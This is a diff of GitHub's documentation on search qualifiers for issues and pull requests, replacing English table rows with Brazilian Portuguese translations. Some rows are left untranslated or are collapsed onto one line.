 {% data reusables.pull_requests.large-search-workaround %}
 
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) matches issues with the word "ubuntu" from repositories owned by @defunkt.
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) matches issues in repositories owned by the GitHub organization.
-| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:mozilla/shumway created:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) matches issues from @mozilla's shumway project that were created before March 2012.
+| Qualifier                 | Exemplo                                                                                                                                                                                                                                  |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt ubuntu**](https://github.com/search?q=user%3Adefunkt+ubuntu&type=Issues) identifica os problemas com a palavra "ubuntu" nos repositórios de @defunkt.                                                                    |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Issues&utf8=%E2%9C%93) identifica os problemas nos repositórios da organização GitHub.                                                                                    |
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:mozilla/shumway criado:<2012-03-01**](https://github.com/search?q=repo%3Amozilla%2Fshumway+created%3A%3C2012-03-01&type=Issues) corresponde a problemas do projeto shumway de @mozilla que foram criados antes de março de 2012. |
 
 
 
-## Search by open or closed state
+## Pesquisar por estado aberto ou fechado
 
-You can filter issues and pull requests based on whether they're open or closed using the `state` or `is` qualifier.
+Você pode filtrar somente problemas e pull requests abertos ou fechados usando os qualificadores `state` ou `is`.
 
-| Qualifier        | Example
-| ------------- | -------------
-| `state:open` | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) matches open issues that mention @vmg with the word "libraries."
-| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) matches closed issues with the word "design" in the body.
-| `is:open` | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) matches open issues with the word "performance."
-| `is:closed` | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) matches closed issues and pull requests with the word "android."
+| Qualifier      | Exemplo                                                                                                                                                                                                             |
+| -------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `state:open`   | [**libraries state:open mentions:vmg**](https://github.com/search?utf8=%E2%9C%93&q=libraries+state%3Aopen+mentions%3Avmg&type=Issues) identifica os problemas abertos que mencionam @vmg com a palavra "libraries". |
+| `state:closed` | [**design state:closed in:body**](https://github.com/search?utf8=%E2%9C%93&q=design+state%3Aclosed+in%3Abody&type=Issues) identifica os problemas fechados com a palavra "design" no texto.                         |
+| `is:open`      | [**performance is:open is:issue**](https://github.com/search?q=performance+is%3Aopen+is%3Aissue&type=Issues) identifica os problemas abertos com a palavra "performance".                                           |
+| `is:closed`    | [**android is:closed**](https://github.com/search?utf8=%E2%9C%93&q=android+is%3Aclosed&type=) identifica os problemas e as pull requests fechados com a palavra "android".                                          |
 
-## Filter by repository visibility
+## Filtrar por visibilidade do repositório
 
-You can filter by the visibility of the repository containing the issues and pull requests using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+É possível filtrar pela visibilidade do repositório que contém os problemas e pull requests usando o qualificador `is`. Para obter mais informações, consulte "[Sobre repositórios](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)".
 
-| Qualifier  | Example
-| ------------- | ------------- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %}
-| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %}
-| `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access.
+| Qualifier  | Example | ------------- | ------------- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Issues) matches issues and pull requests in public repositories.{% endif %}{% ifversion ghes or ghec or ghae %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Issues) matches issues and pull requests in internal repositories.{% endif %} | `is:private` | [**is:private cupcake**](https://github.com/search?q=is%3Aprivate+cupcake&type=Issues) matches issues and pull requests that contain the word "cupcake" in private repositories you can access.
 
-## Search by author
+## Pesquisar por autor
 
-The `author` qualifier finds issues and pull requests created by a certain user or integration account.
+O qualificador `author` encontra problemas e pull requests criados por determinado usuário ou conta de integração.
 
-| Qualifier     | Example
-| ------------- | -------------
-| <code>author:<em>USERNAME</em></code> | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) matches issues and pull requests with the word "cool" that were created by @gjtorikian.
-| | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) matches issues written by @mdo that contain the word "bootstrap" in the body.
-| <code>author:app/<em>USERNAME</em></code> | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) matches issues created by the integration account named "robot."
+| Qualifier                 | Exemplo                                                                                                                                                                                            |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author:<em>USERNAME</em></code> | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Agjtorikian&type=Issues) corresponde os problemas e os pull requests com a palavra "cool" que foram criados por @gjtorikian. |
+|                           | [**bootstrap in:body author:mdo**](https://github.com/search?q=bootstrap+in%3Abody+author%3Amdo&type=Issues) corresponde problemas escritos por @mdo que contêm a palavra "bootstrap" no texto.    |
+| <code>author:app/<em>USERNAME</em></code> | [**author:app/robot**](https://github.com/search?q=author%3Aapp%2Frobot&type=Issues) corresponde a problemas criados pela conta de integração denominada "robot".                                  |
 
-## Search by assignee
+## Pesquisar por responsável
 
-The `assignee` qualifier finds issues and pull requests that are assigned to a certain user. You cannot search for issues and pull requests that have _any_ assignee, however, you can search for [issues and pull requests that have no assignee](#search-by-missing-metadata).
+O qualificador `assignee` encontra problemas e pull requests que foram atribuídos a um determinado usuário. Não é possível pesquisar problemas e pull requests que têm _qualquer_ responsável, mas é possível pesquisar [problemas e pull requests que não tem nenhum responsável](#search-by-missing-metadata).
 
-| Qualifier     | Example
-| ------------- | -------------
-| <code>assignee:<em>USERNAME</em></code> | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) matches issues and pull requests in libgit2's project libgit2 that are assigned to @vmg.
+| Qualifier                 | Exemplo                                                                                                                                                                                                                          |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>assignee:<em>USERNAME</em></code> | [**assignee:vmg repo:libgit2/libgit2**](https://github.com/search?utf8=%E2%9C%93&q=assignee%3Avmg+repo%3Alibgit2%2Flibgit2&type=Issues) corresponde problemas e pull requests no libgit2 de libgit2 que foram atribuídos a @vmg. |
 
-## Search by mention
+## Pesquisar por menção
 
-The `mentions` qualifier finds issues that mention a certain user. For more information, see "[Mentioning people and teams](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)."
+O qualificador `mentions` encontra problemas que mencionam um usuário específico. Para obter mais informações, consulte "[Mencionar pessoas e equipes](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)".
 
-| Qualifier     | Example
-| ------------- | -------------
-| <code>mentions:<em>USERNAME</em></code> | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) matches issues with the word "resque" that mention @defunkt.
+| Qualifier                 | Exemplo                                                                                                                                                               |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>mentions:<em>USERNAME</em></code> | [**resque mentions:defunkt**](https://github.com/search?q=resque+mentions%3Adefunkt&type=Issues) corresponde problemas com a palavra "resque" que mencionam @defunkt. |
 
-## Search by team mention
+## Pesquisar por menção da equipe
 
-For organizations and teams you belong to, you can use the `team` qualifier to find issues or pull requests that @mention a certain team within that organization. Replace these sample names with your organization and team name to perform a search.
+Para organizações e equipes das quais você faz parte, você pode usar o qualificador `team` para encontrar problemas ou pull requests que fazem @menção a uma equipe específica na organização. Substitua os nomes de exemplo pelos nome da organização e da equipe para fazer uma pesquisa.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>team:<em>ORGNAME/TEAMNAME</em></code> | **team:jekyll/owners** matches issues where the `@jekyll/owners` team is mentioned.
-| | **team:myorg/ops is:open is:pr** matches open pull requests where the `@myorg/ops` team is mentioned.
+| Qualifier                 | Exemplo                                                                                                       |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------- |
+| <code>team:<em>ORGNAME/TEAMNAME</em></code> | **team:jekyll/owners** corresponde problemas em que a equipe `@jekyll/owners` é mencionada.                   |
+|                           | **team:myorg/ops is:open is:pr** corresponde pull requests abertos em que a equipe `@myorg/ops` é mencionada. |
 
-## Search by commenter
+## Pesquisar por autor do comentário
 
-The `commenter` qualifier finds issues that contain a comment from a certain user.
+O qualificador `commenter` encontra problemas que contêm um comentário de um usuário específico.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>commenter:<em>USERNAME</em></code> | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) matches issues in repositories owned by GitHub, that contain the word "github," and have a comment by @defunkt.
+| Qualifier                 | Exemplo                                                                                                                                                                                                                                                   |
+| ------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>commenter:<em>USERNAME</em></code> | [**github commenter:defunkt org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Adefunkt+org%3Agithub&type=Issues) corresponde problemas nos repositórios do GitHub que contêm a palavra "github" e têm um comentário de @defunkt. |
 
-## Search by a user that's involved in an issue or pull request
+## Pesquisar por um usuário envolvido em um problema ou uma pull request
 
-You can use the `involves` qualifier to find issues that in some way involve a certain user. The `involves` qualifier is a logical OR between the `author`, `assignee`, `mentions`, and `commenter` qualifiers for a single user. In other words, this qualifier finds issues and pull requests that were either created by a certain user, assigned to that user, mention that user, or were commented on by that user.
+Você pode usar o qualificador `involves` para encontrar problemas que envolvem de alguma forma um usuário específico. O qualificador `involves` é uma expressão lógica OR entre os qualificadores `author`, `assignee`, `mentions` e `commenter` para um único usuário. Em outras palavras, esse qualificador encontra problemas e pull requests que foram criados por um usuário, atribuídos a ele, que o mencionam ou que foram comentados por ele.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>involves:<em>USERNAME</em></code> | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** matches issues either @defunkt or @jlord are involved in.
-| | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) matches issues @mdo is involved in that do not contain the word "bootstrap" in the body.
+| Qualifier                 | Exemplo                                                                                                                                                                                                       |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>involves:<em>USERNAME</em></code> | **[involves:defunkt involves:jlord](https://github.com/search?q=involves%3Adefunkt+involves%3Ajlord&type=Issues)** corresponde problemas que envolvem @defunkt ou @jlord.                                     |
+|                           | [**NOT bootstrap in:body involves:mdo**](https://github.com/search?q=NOT+bootstrap+in%3Abody+involves%3Amdo&type=Issues) corresponde problemas que envolvem @mdo e não contêm a palavra "bootstrap" no texto. |
 
 {% ifversion fpt or ghes or ghae or ghec %}
-## Search for linked issues and pull requests
-You can narrow your results to only include issues that are linked to a pull request by a closing reference, or pull requests that are linked to an issue that the pull request may close.
+## Procurar problema e pull requests vinculados
+Você pode restringir seus resultados para apenas incluir problemas vinculados a um pull request com uma referência ou pull requests que estão vinculados a um problema que o pull request pode fechar.
 
-| Qualifier | Example |
-| ------------- | ------------- |
-| `linked:pr` | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) matches open issues in the `desktop/desktop` repository that are linked to a pull request by a closing reference. |
-| `linked:issue` | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) matches closed pull requests in the `desktop/desktop` repository that were linked to an issue that the pull request may have closed. |
-| `-linked:pr` | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) matches open issues in the `desktop/desktop` repository that are not linked to a pull request by a closing reference. |
-| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) matches open pull requests in the `desktop/desktop` repository that are not linked to an issue that the pull request may close. |{% endif %}
+| Qualifier       | Exemplo                                                                                                                                                                                                                                                                                   |
+| --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `linked:pr`     | [**repo:desktop/desktop is:open linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+linked%3Apr) corresponde a problemas abertos no re repositório `desktop/desktop` vinculados a um pull request por uma referência fechada.                                     |
+| `linked:issue`  | [**repo:desktop/desktop is:closed linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aclosed+linked%3Aissue) corresponde a pull requests fechados no repositório `desktop/desktop` vinculados a um problema que o pull request pode ter fechado.                    |
+| `-linked:pr`    | [**repo:desktop/desktop is:open -linked:pr**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Apr) corresponde a problemas abertos no repositório `desktop/desktop` que não estão vinculados a um pull request por uma referência fechada.                        |
+| `-linked:issue` | [**repo:desktop/desktop is:open -linked:issue**](https://github.com/search?q=repo%3Adesktop%2Fdesktop+is%3Aopen+-linked%3Aissue) corresponde a pull requests abertos no repositório `desktop/desktop` que não estão vinculados a um problema que o pull request pode fechar. 
+{% endif %}
 
-## Search by label
+## Pesquisar por etiqueta
 
-You can narrow your results by labels, using the `label` qualifier. Since issues can have multiple labels, you can list a separate qualifier for each issue.
+Você pode limitar os resultados por etiquetas usando o qualificador `label`. Alguns problemas podem ter várias etiquetas, e você pode relacionar um qualificador separado para cada problema.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>label:<em>LABEL</em></code> | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) matches issues with the label "help wanted" that are in Ruby repositories.
-|  | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) matches issues with the word "broken" in the body, that lack the label "bug", but *do* have the label "priority."
-| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae or ghec %}
-| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved."{% endif %}
+| Qualifier                  | Exemplo                                                                                                                                                                                                                                                      |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>label:<em>LABEL</em></code> | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) identifica os problemas com a etiqueta "help wanted" nos repositórios de Ruby.                                     |
+|                            | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) identifica problemas com a palavra "broken" no texto e que não têm a etiqueta "bug", mas *têm* a etiqueta "priority". |
+|                            | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae or ghec %}
+|                            | [**rótulo:bug,resolvido**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) corresponde a problemas com a etiqueta "erro" ou a etiqueta "resolvido".{% endif %}
 
-## Search by milestone
+## Pesquisar por marco
 
-The `milestone` qualifier finds issues or pull requests that are a part of a [milestone](/articles/about-milestones) within a repository.
+O qualificador `milestone` encontra problemas ou pull requests que fazem parte de um [marco](/articles/about-milestones) em um repositório.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>milestone:<em>MILESTONE</em></code> | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) matches issues that are in a milestone named "overhaul."
-| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) matches issues that are in a milestone named "bug fix."
+| Qualifier                  | Exemplo                                                                                                                                                                         |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>milestone:<em>MILESTONE</em></code> | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) identifica os problemas que estão em um marco chamado "overhaul". |
+|                            | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) identifica os problemas que estão em um marco chamado "bug fix".    |
 
-## Search by project board
+## Pesquisar por quadro de projeto
 
-You can use the `project` qualifier to find issues that are associated with a specific [project board](/articles/about-project-boards/) in a repository or organization. You must search project boards by the project board number. You can find the project board number at the end of a project board's URL.
+Você pode usar o qualificador `project` para encontrar problemas associados a um [quadro de projeto](/articles/about-project-boards/) específico em um repositório ou uma organização. Você deve pesquisar pelo número do quadro de projeto. Você pode encontrar o número do quadro de projeto no final da URL do quadro de projeto.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>project:<em>PROJECT_BOARD</em></code> | **project:github/57** matches issues owned by GitHub that are associated with the organization's project board 57.
-| <code>project:<em>REPOSITORY/PROJECT_BOARD</em></code> | **project:github/linguist/1** matches issues that are associated with project board 1 in @github's linguist repository.
+| Qualifier                  | Exemplo                                                                                                                     |
+| -------------------------- | --------------------------------------------------------------------------------------------------------------------------- |
+| <code>project:<em>PROJECT_BOARD</em></code> | **project:github/57** identifica os problemas do GitHub associados aos quadros de projeto 57 da organização.                |
+| <code>project:<em>REPOSITORY/PROJECT_BOARD</em></code> | **project:github/linguist/1** identifica os problemas associados ao quadro de projeto 1 no repositório Linguist de @github. |
 
-## Search by commit status
+## Pesquisar por status do commit
 
-You can filter pull requests based on the status of the commits. This is especially useful if you are using [the Status API](/rest/reference/repos#statuses) or a CI service.
+Você pode filtrar pull requests com base no status dos commits. Isso é especialmente útil ao usar [a API de status](/rest/reference/repos#statuses) ou um serviço CI.
 
-| Qualifier        | Example
-| ------------- | -------------
-| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) matches pull requests opened into Go repositories where the status is pending.
-| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) matches open pull requests with the word "finally" in the body with a successful status.
-| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) matches pull requests opened on May 2015 with a failed status.
+| Qualifier        | Exemplo                                                                                                                                                                                                                                       |
+| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) identifica as pull requests abertas nos repositórios de Go com status pendente.                                                   |
+| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) identifica as pull requests abertas com a palavra "finally" no texto com status de sucesso. |
+| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) identifica as pull requests abertas em maio de 2015 com status de falha.        |
 
-## Search by commit SHA
+## Pesquisar por SHA do commit
 
-If you know the specific SHA hash of a commit, you can use it to search for pull requests that contain that SHA. The SHA syntax must be at least seven characters.
+Se você souber o hash SHA de um commit, poderá usá-lo para pesquisar pull requests que contêm esse SHA. A sintaxe do SHA deve ter no mínimo sete caracteres.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code><em>SHA</em></code> | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) matches pull requests with a commit SHA that starts with `e1109ab`.
-| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) matches merged pull requests with a commit SHA that starts with `0eff326d6213c`.
+| Qualifier                  | Exemplo                                                                                                                                                                                    |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code><em>SHA</em></code> | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) identifica as pull requests com um SHA de commit que começa com `e1109ab`.                                                  |
+|                            | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) identifica as pull requests com merge que têm um SHA de commit que começa com `0eff326d6213c`. |
 
-## Search by branch name
+## Pesquisar por nome do branch
 
-You can filter pull requests based on the branch they came from (the "head" branch) or the branch they are merging into (the "base" branch).
+Você pode filtrar pull requests com base no branch de origem (branch "head") ou no branch do merge (branch "base").
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>head:<em>HEAD_BRANCH</em></code> | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) matches pull requests opened from branch names beginning with the word "change" that are closed.
-| <code>base:<em>BASE_BRANCH</em></code> | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) matches pull requests that are being merged into the `gh-pages` branch.
+| Qualifier                  | Exemplo                                                                                                                                                                                                                              |
+| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>head:<em>HEAD_BRANCH</em></code> | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) identifica as pull requests abertas de branchs cujo nome começa com a palavra "change" e estão fechados. |
+| <code>base:<em>BASE_BRANCH</em></code> | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) identifica as pull requests que estão sendo incorporadas no branch `gh-pages`.                                                                       |
 
-## Search by language
+## Pesquisar por linguagem
 
-With the `language` qualifier you can search for issues and pull requests within repositories that are written in a certain language.
+Com o qualificador `language`, você pode pesquisar problemas e pull requests em repositórios que foram escritos em uma linguagem específica.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>language:<em>LANGUAGE</em></code> | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) matches open issues that are in Ruby repositories.
+| Qualifier                  | Exemplo                                                                                                                                                                 |
+| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>language:<em>LANGUAGE</em></code> | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) identifica os problemas abertos que estão em repositórios de Ruby. |
 
-## Search by number of comments
+## Pesquisar por número de comentários
 
-You can use the `comments` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to search by the number of comments.
+Você pode usar o qualificador `comments` com os [qualificadores maior que, menor que e intervalo](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) para pesquisar pelo número de comentários.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>comments:<em>n</em></code> | [**state:closed comments:&gt;100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) matches closed issues with more than 100 comments.
-| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) matches issues with comments ranging from 500 to 1,000.
+| Qualifier                  | Exemplo                                                                                                                                                                           |
+| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>comments:<em>n</em></code> | [**state:closed comments:&gt;100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) identifica os problemas fechados com mais de 100 comentários. |
+|                            | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) identifica os problemas com 500 a 1.000 comentários.                                       |
 
-## Search by number of interactions
+## Pesquisar por número de interações
 
-You can filter issues and pull requests by the number of interactions with the `interactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). The interactions count is the number of reactions and comments on an issue or pull request.
+Você pode filtrar problemas e pull requests pelo número de interações com o qualificador `interactions` e os [qualificadores maior que, menor que e intervalo](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). O número de interações é o número de interações e comentários em um problema ou uma pull request.
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) matches pull requests or issues with more than 2000 interactions.
-| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches pull requests or issues with interactions ranging from 500 to 1,000.
+| Qualifier                  | Exemplo                                                                                                                                                        |
+| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) identifica pull requests ou problemas com mais de 2.000 interações. |
+|                            | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) identifica pull requests ou problemas com 500 a 1.000 interações.           |
 
-## Search by number of reactions
+## Pesquisar por número de reações
 
-You can filter issues and pull requests by the number of reactions using the `reactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax).
+Você pode filtrar problemas e pull requests pelo número de reações usando o qualificador `reactions` e os [qualificadores maior que, menor que e intervalo](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax).
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) matches issues with more than 1000 reactions.
-| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches issues with reactions ranging from 500 to 1,000.
+| Qualifier                  | Exemplo                                                                                                                                             |
+| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) identifica os problemas com mais de 1.000 reações. |
+|                            | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) identifica os problemas com 500 a 1.000 reações.                       |
 
-## Search for draft pull requests
-You can filter for draft pull requests. For more information, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)."
+## Pesquisar por pull requests de rascunho
+Você pode filtrar por pull requests de rascunho. Para obter mais informações, consulte "[Sobre pull requests](/articles/about-pull-requests#draft-pull-requests)".
 
-| Qualifier        | Example
-| ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %}
-| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests.
-| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) matches pull requests that are ready for review.{% else %}
-| `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) matches draft pull requests.{% endif %}
+| Qualificador        | Exemplo | ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %} | `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) corresponde pull requests em rascunho. | `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) corresponde a pull requests prontos para revisão.{% else %} | `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) corresponde a rascunhos de pull requests.{% endif %}
 
-## Search by pull request review status and reviewer
+## Pesquisar por status de revisão e revisor da pull request
 
-You can filter pull requests based on their [review status](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_, _required_, _approved_, or _changes requested_), by reviewer, and by requested reviewer.
+Você pode filtrar as pull requests com base no [status de revisão](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_ (nenhuma), _required_ (obrigatória), _approved_ (aprovada) ou _changes requested_ (alterações solicitadas)), por revisor e por revisor solicitado.
 
-| Qualifier        | Example
-| ------------- | -------------
-| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) matches pull requests that have not been reviewed.
-| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) matches pull requests that require a review before they can be merged.
